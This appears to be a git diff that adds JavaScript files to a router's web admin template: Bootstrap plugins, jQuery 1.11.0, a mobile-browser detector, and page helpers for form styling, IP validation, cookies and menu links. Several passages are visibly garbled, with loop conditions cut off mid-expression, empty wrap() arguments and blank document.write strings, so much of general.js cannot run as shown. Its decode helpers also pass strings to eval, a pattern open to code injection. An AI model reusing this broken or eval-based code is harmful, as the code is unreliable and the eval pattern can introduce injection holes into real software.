b&&b.length&&b.is(":visible")&&[[b[a]().top+(!e.isWindow(g.$scrollElement.get(0))&&g.$scrollElement.scrollTop()),c]]||null}).sort(function(h,c){return h[0]-c[0]}).each(function(){g.offsets.push(this[0]),g.targets.push(this[1])})},d.prototype.process=function(){var i,h=this.$scrollElement.scrollTop()+this.options.offset,n=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,m=n-this.$scrollElement.height(),l=this.offsets,k=this.targets,j=this.activeTarget;if(h>=m){return j!=(i=k.last()[0])&&this.activate(i)}if(j&&h<=l[0]){return j!=(i=k[0])&&this.activate(i)}for(i=l.length;i--;){j!=k[i]&&h>=l[i]&&(!l[i+1]||h<=l[i+1])&&this.activate(k[i])}},d.prototype.activate=function(a){this.activeTarget=a,e(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var h=this.selector+'[data-target="'+a+'"],'+this.selector+'[href="'+a+'"]',g=e(h).parents("li").addClass("active");g.parent(".dropdown-menu").length&&(g=g.closest("li.dropdown").addClass("active")),g.trigger("activate.bs.scrollspy")};var f=e.fn.scrollspy;e.fn.scrollspy=function(a){return this.each(function(){var g=e(this),c=g.data("bs.scrollspy"),b="object"==typeof a&&a;c||g.data("bs.scrollspy",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.scrollspy.Constructor=d,e.fn.scrollspy.noConflict=function(){return e.fn.scrollspy=f,this},e(window).on("load",function(){e('[data-spy="scroll"]').each(function(){var a=e(this);a.scrollspy(a.data())})})}(jQuery),+function(e){var d=function(a){this.element=e(a)};d.prototype.show=function(){var a=this.element,l=a.closest("ul:not(.dropdown-menu)"),k=a.data("target");if(k||(k=a.attr("href"),k=k&&k.replace(/.*(?=#[^\s]*$)/,"")),!a.parent("li").hasClass("active")){var j=l.find(".active:last a")[0],i=e.Event("show.bs.tab",{relatedTarget:j});if(a.trigger(i),!i.isDefaultPrevented()){var h=e(k);this.activate(a.parent("li"),l),this.activate(h,h.parent(),function(){a.trigger({type:"shown.bs.tab",relatedTarget:j})})}}},d.prototype.activate=function(a,l,k){function j(){i.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),a.addClass("active"),h?(a[0].offsetWidth,a.addClass("in")):a.removeClass("fade"),a.parent(".dropdown-menu")&&a.closest("li.dropdown").addClass("active"),k&&k()}var i=l.find("> .active"),h=k&&e.support.transition&&i.hasClass("fade");h?i.one(e.support.transition.end,j).emulateTransitionEnd(150):j(),i.removeClass("in")};var f=e.fn.tab;e.fn.tab=function(a){return this.each(function(){var c=e(this),b=c.data("bs.tab");b||c.data("bs.tab",b=new d(this)),"string"==typeof a&&b[a]()})},e.fn.tab.Constructor=d,e.fn.tab.noConflict=function(){return e.fn.tab=f,this},e(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(a){a.preventDefault(),e(this).tab("show")})}(jQuery),+function(e){var d=function(b,a){this.options=e.extend({},d.DEFAULTS,a),this.$window=e(window).on("scroll.bs.affix.data-api",e.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",e.proxy(this.checkPositionWithEventLoop,this)),this.$element=e(b),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};d.RESET="affix affix-top affix-bottom",d.DEFAULTS={offset:0},d.prototype.getPinnedOffset=function(){if(this.pinnedOffset){return this.pinnedOffset}this.$element.removeClass(d.RESET).addClass("affix");var b=this.$window.scrollTop(),g=this.$element.offset();return this.pinnedOffset=g.top-b},d.prototype.checkPositionWithEventLoop=function(){setTimeout(e.proxy(this.checkPosition,this),1)},d.prototype.checkPosition=function(){if(this.$element.is(":visible")){var r=e(document).height(),q=this.$window.scrollTop(),p=this.$element.offset(),o=this.options.offset,n=o.top,m=o.bottom;"top"==this.affixed&&(p.top+=q),"object"!=typeof o&&(m=n=o),"function"==typeof n&&(n=o.top(this.$element)),"function"==typeof m&&(m=o.bottom(this.$element));var l=null!=this.unpin&&q+this.unpin<=p.top?!1:null!=m&&p.top+this.$element.height()>=r-m?"bottom":null!=n&&n>=q?"top":!1;if(this.affixed!==l){this.unpin&&this.$element.css("top","");var b="affix"+(l?"-"+l:""),a=e.Event(b+".bs.affix");this.$element.trigger(a),a.isDefaultPrevented()||(this.affixed=l,this.unpin="bottom"==l?this.getPinnedOffset():null,this.$element.removeClass(d.RESET).addClass(b).trigger(e.Event(b.replace("affix","affixed"))),"bottom"==l&&this.$element.offset({top:r-m-this.$element.height()}))}}};var f=e.fn.affix;e.fn.affix=function(a){return this.each(function(){var g=e(this),c=g.data("bs.affix"),b="object"==typeof a&&a;c||g.data("bs.affix",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.affix.Constructor=d,e.fn.affix.noConflict=function(){return e.fn.affix=f,this},e(window).on("load",function(){e('[data-spy="affix"]').each(function(){var a=e(this),g=a.data();g.offset=g.offset||{},g.offsetBottom&&(g.offset.bottom=g.offsetBottom),g.offsetTop&&(g.offset.top=g.offsetTop),a.affix(g)})})}(jQuery); \ No newline at end of file diff --git a/Sites/Template/sitecom/js/common.js b/Sites/Template/sitecom/js/common.js new file mode 100644 index 0000000..92eb28e --- /dev/null +++ b/Sites/Template/sitecom/js/common.js @@ -0,0 +1 @@ +try{$(document).ready(function(){$("table.az_wrap").wrap("
    ");$("table").attr("border","0");$("table").addClass("table table-condensed table-hover");$("table tr:has(input), table tr:has(select)").removeClass("row-even").siblings("tr").removeClass("row-even");$("table tr:has(input), table tr:has(select)").removeClass("row-odd").siblings("tr").removeClass("row-odd");$("table.az_wrap tr:even").addClass("row-even");$("table.az_wrap tr:odd").addClass("row-odd");$("table.az_wrap").addClass("table-bordered");$("table tr td:first-child").addClass("column-first");$("table tr td:last-child").addClass("column-last");$("table tr td").attr("align","");$("form").attr("role","form");$("form").addClass("form-horizontal");$(":text,textarea,select,:password").addClass("form-control input-sm");$(":button[value='Remove'],:submit[value='Remove'],:submit[value='DELETE']").addClass("btn btn-danger btn-sm");$(":button[value='View'],:submit[value='View'],:reset,:button[value='CANCEL'],:submit[value='CANCEL']").addClass("btn btn-info btn-sm");$(":button[value='Load Signed'],:submit[value='Load Signed']").addClass("btn btn-success btn-sm");$(":button[value='View'],:submit[value='View']").addClass("btn btn-info btn-sm");$(":button,:submit").not(".btn").addClass("btn btn-primary btn-sm");parent.showBaseframe();parent.autoResize("basefrm");try{$(".az_tooltip").tooltip();$(".az_popover").popover()}catch(a){}try{if(screenDaig==1){$("a[data-target=#helpModal]").click(function(b){b.preventDefault();var c=$(this).attr("href");$("#helpModal .modal-body").load(c,function(){$("#helpModal").modal("show")})})}}catch(a){}try{if(screenSyslog==1){$("body").on("hidden.bs.modal",".modal",function(){$(this).removeData("bs.modal")});$("#summaryModal").on("loaded.bs.modal",function(b){$(this).find("table tr:even").addClass("row-even");$(this).find("table tr:odd").addClass("row-odd");$(this).find("table.az_wrap").wrap("
    ")})}}catch(a){}})}catch(e){parent.showBaseframe();parent.autoResize("basefrm")}; \ No newline at end of file diff --git a/Sites/Template/sitecom/js/detectmobilebrowser.js b/Sites/Template/sitecom/js/detectmobilebrowser.js new file mode 100644 index 0000000..f4c8b10 --- /dev/null +++ b/Sites/Template/sitecom/js/detectmobilebrowser.js @@ -0,0 +1 @@ +(function(b){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(b)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(b.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera); \ No newline at end of file diff --git a/Sites/Template/sitecom/js/general.js b/Sites/Template/sitecom/js/general.js new file mode 100644 index 0000000..6cd90c7 --- /dev/null +++ b/Sites/Template/sitecom/js/general.js @@ -0,0 +1 @@ +var vstrings=parent.ary_strings;function DictionaryStrings(){this.dicObj={};if(typeof(vstrings)=="undefined"){alert("Load strings failure for js!!");return}for(var a=0;vstrings[a][0]!="";a++){this.dicObj[vstrings[a][0]]=vstrings[a][1]}this.getstring=function(b){if(typeof(this.dicObj[b])!="undefined"){return this.dicObj[b]}else{alert(b+":has not be defined in language string array!");return""}}}var langtxt=new DictionaryStrings();window._=function(a){return langtxt.getstring(a)};function doValidIPAndMask(c,b,a){if((c=="")&&(b!="")){if(a==1){alert(_("DesIPInvalid")+c)}else{if(a==2){alert(_("SorIPInvalid"))}else{alert(_("IPIsEmpty"))}}return false}else{if((c!="")&&(b=="")){if(a==1){alert(_("DesNetInvalid"))}else{if(a==2){alert(_("SorNetInvalid"))}else{alert(_("SubMaskInvalid")+b)}}return false}else{return true}}}function chineseCheck(b,a){var f=document.getElementById(a);var e=f.innerText;var d=b.value;var c;if(e==undefined){e="Warning : input"}for(c=0;c255){alert(e+_("ContentCHN"));return true}}return false}function isValidAscii(c){for(var a=0;a"~"){return b}}return""}function isNumeric(c){var a=c.length;var b;if(a==0){return false}for(i=0;i"9"||b<"0"){return false}}return true}function isValidUrlName(b){var c=0;var a=new Array();a[c++]="www";a[c++]="com";a[c++]="org";a[c++]="net";a[c++]="edu";a[c++]="www.";a[c++]=".com";a[c++]=".org";a[c++]=".net";a[c++]=".edu";if(isValidAscii(b)!=""){return false}for(c=0;c0) + { + c_start=document.cookie.indexOf(c_name + "=") + if (c_start!=-1) + { + c_start=c_start + c_name.length+1 + c_end=document.cookie.indexOf(";",c_start) + if (c_end==-1) c_end=document.cookie.length + return unescape(document.cookie.substring(c_start,c_end)) + } + } + return default_language; +} + +function calcHeight(source) +{ + var browser=navigator.userAgent.toLowerCase(); + if (browser.indexOf('safari/') == -1 || browser.indexOf('mozilla/') == -1 || browser.indexOf('opera/') == -1){ + var extra=25; + }else{ + var extra=0; + } + if(source=='parent'){ + //find the height of the internal page + var the_height=document.getElementById('iframe').contentWindow.document.body.scrollHeight; + //change the height of the iframe + document.getElementById('iframe').height=the_height + extra; + } + else if( source=='parent1' ){ + var the_height=document.getElementById('client_list').contentWindow.document.body.scrollHeight; + document.getElementById('client_list').height=the_height + extra; + } + else if( source=='parent2' ){ + var the_height=document.getElementById('static_list').contentWindow.document.body.scrollHeight; + document.getElementById('static_list').height=the_height + extra; + } + else if( source=='parent3' ){ + var the_height=document.getElementById('routing_frame').contentWindow.document.body.scrollHeight; + document.getElementById('routing_frame').height=the_height + extra; + } + else if( source=='parent4' ){ + var the_height=document.getElementById('acl_frame').contentWindow.document.body.scrollHeight; + document.getElementById('acl_frame').height=the_height + extra; + } + else if( source=='parent5' ){ + var the_height=document.getElementById('ipfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('ipfilter_frame').height=the_height + extra; + } + else if( source=='parent6' ){ + var the_height=document.getElementById('cgi_frame').contentWindow.document.body.scrollHeight; + document.getElementById('cgi_frame').height=the_height + extra; + } + else if( source=='parent7' ){ + var the_height=document.getElementById('ipaddr_frame').contentWindow.document.body.scrollHeight; + document.getElementById('ipaddr_frame').height=the_height + extra; + } + else if( source=='parent8' ){ + var the_height=document.getElementById('urlfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('urlfilter_frame').height=the_height + extra; + } + else if( source=='parent9' ){ + var the_height=document.getElementById('urlfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('urlfilter_frame').height=the_height + extra; + } + else{ + //find the height of the internal page + var the_height=document.body.scrollHeight; + //change the height of the iframe + parent.document.getElementById('iframe').height=the_height + extra; + } +} + +function swapClass(main){ + var items=['one','two','three','four','five','six']; + for (var i in items){ + if (items[i]==main){ + document.getElementById(items[i]).className="on"; + }else{ + document.getElementById(items[i]).className="off"; + } + } +} + +function readFile(url){ + var xmlhttp; + /*@cc_on + @if (@_jscript_version >= 5) + try { + xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); + } catch (e) { + try { + xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); + } catch (E) { + xmlhttp = false; + } + } + @else + xmlhttp = false; + @end @*/ + + if (!xmlhttp && typeof XMLHttpRequest != 'undefined') { + try { + xmlhttp = new XMLHttpRequest(); + } catch (e) { + xmlhttp = false; + } + } + xmlhttp.open("GET",url,false); + xmlhttp.send(null); + return xmlhttp.responseText; +} + +function showText(number) { + return tekst_array[number]; +} +/*var select_language=[ 'uk', 'de', 'nl', 'fr', 'it', 'es', 'pt', 'no', 'dk', 'se', 'fi', 'ru' ]; +var stype = getCookie('language'); +function dw(message) +{ + document.write(message[0]); + for(i=0; i<12; i++){ + if(stype == select_language[i]) + document.write(message[i]); + } +}*/ +function decode(code){ +code=code.replace(/"/g,'\\"'); +code='" '+code+' "'; +code=(eval(code)); +return code +} +function decode_1(code,idx,len){ +code=code.replace(/"/g,'\\"'); +code="'"+code+"'" +code=(eval(code)); +return code +} + +function basicLink(index){ + var picArry=new Array(); + for(i=1;i<=6;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(13))+""); + document.write(""+(showText(14))+""); + document.write(""+(showText(15))+""); + document.write(""+(showText(16))+""); + document.write(""+(showText(17))+""); + document.write(""+(showText(628))+""); +} + +function advancedLink(index){ + var picArry=new Array(); + for(i=1;i<=8;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(629))+""); + document.write(""+(showText(630))+""); + document.write(""+(showText(631))+""); + document.write(""+(showText(19))+""); + document.write(""+(showText(632))+""); + document.write(""+(showText(633))+""); + document.write(""+(showText(634))+""); + document.write("TR-69"); + +} + +function firewallLink(index){ + var picArry=new Array(); + for(i=1;i<=6;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(5))+""); + document.write(""+(showText(636))+""); + document.write(""+(showText(637))+""); + document.write(""+(showText(638))+""); + document.write(""+(showText(639))+""); + +} + +function maintenanceLink(index){ + var picArry=new Array(); + for(i=1;i<=5;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(26))+""); + document.write(""+(showText(640))+""); + document.write(""+(showText(29))+""); + document.write(""+(showText(641))+""); + document.write("System log"); + +} + +function statusLink(index){ + var picArry=new Array(); + for(i=1;i<=4;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(8))+""); + document.write(""+(showText(9))+""); + document.write(""+(showText(11))+""); + document.write(""+(showText(32))+""); + +} diff --git a/Sites/Template/sitecom/js/jquery-1.11.0.min.js b/Sites/Template/sitecom/js/jquery-1.11.0.min.js new file mode 100644 index 0000000..2aa5d7c --- /dev/null +++ b/Sites/Template/sitecom/js/jquery-1.11.0.min.js @@ -0,0 +1,2 @@ +/*! jQuery v1.11.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */ +!function(d,c){"object"==typeof module&&"object"==typeof module.exports?module.exports=d.document?c(d,!0):function(b){if(!b.document){throw new Error("jQuery requires a window with a document")}return c(b)}:c(d)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k="".trim,l={},m="1.11.0",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++){if(null!=(e=arguments[h])){for(d in e){a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c))}}}return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a){return !1}return !0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a)){return !1}try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf")){return !1}}catch(c){return !1}if(l.ownLast){for(b in a){return j.call(a,b)}}for(b in a){}return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++){if(d=b.apply(a[e],c),d===!1){break}}}else{for(e in a){if(d=b.apply(a[e],c),d===!1){break}}}}else{if(g){for(;f>e;e++){if(d=b.call(a[e],e,a[e]),d===!1){break}}}else{for(e in a){if(d=b.call(a[e],e,a[e]),d===!1){break}}}}return a},trim:k&&!k.call("\ufeff\xa0")?function(a){return null==a?"":k.call(a)}:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g){return g.call(b,a,c)}for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++){if(c in b&&b[c]===a){return c}}}return -1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d){a[e++]=b[d++]}if(c!==c){while(void 0!==b[d]){a[e++]=b[d++]}}return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++){d=!b(a[f],f),d!==h&&e.push(a[f])}return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h){for(;g>f;f++){d=b(a[f],f,c),null!=d&&i.push(d)}}else{for(f in a){d=b(a[f],f,c),null!=d&&i.push(d)}}return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return +new Date},support:l}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s="sizzle"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A="undefined",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++){if(this[b]===a){return b}}return -1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",M=L.replace("w","w#"),N="\\["+K+"*("+L+")"+K+"*(?:([*^$|!~]?=)"+K+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+M+")|)|)"+K+"*\\]",O=":("+L+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+N.replace(3,8)+")*)|.*)\\)|)",P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(O),U=new RegExp("^"+M+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L.replace("w","w*")+")"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=/'|\\/g,ab=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),bb=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]){}a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||"string"!=typeof a){return d}if(1!==(i=b.nodeType)&&9!==i){return[]}if(n&&!e){if(f=Z.exec(a)){if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode){return d}if(g.id===h){return d.push(g),d}}else{if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h){return d.push(g),d}}}else{if(f[2]){return G.apply(d,b.getElementsByTagName(a)),d}if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName){return G.apply(d,b.getElementsByClassName(h)),d}}}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&"object"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute("id"))?q=p.replace(_,"\\$&"):b.setAttribute("id",q),q="[id='"+q+"'] ",j=m.length;while(j--){m[j]=q+pb(m[j])}u=$.test(a)&&mb(b.parentNode)||b,v=m.join(",")}if(v){try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute("id")}}}}return xb(a.replace(P,"$1"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement("div");try{return !!a(b)}catch(c){return !1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split("|"),e=a.length;while(e--){d.attrHandle[c[e]]=b}}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d){return d}if(c){while(c=c.nextSibling){if(c===b){return -1}}}return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--){c[e=f[g]]&&(c[e]=!(d[e]=c[e]))}})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener("unload",function(){k()},!1):g.attachEvent&&g.attachEvent("onunload",function(){k()})),c.attributes=gb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML="
    ",a.firstChild.className="i",2===a.getElementsByClassName("i").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++]){1===c.nodeType&&d.push(c)}return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML="",a.querySelectorAll("[t^='']").length&&o.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||o.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll(":checked").length||o.push(":checked")}),gb(function(a){var 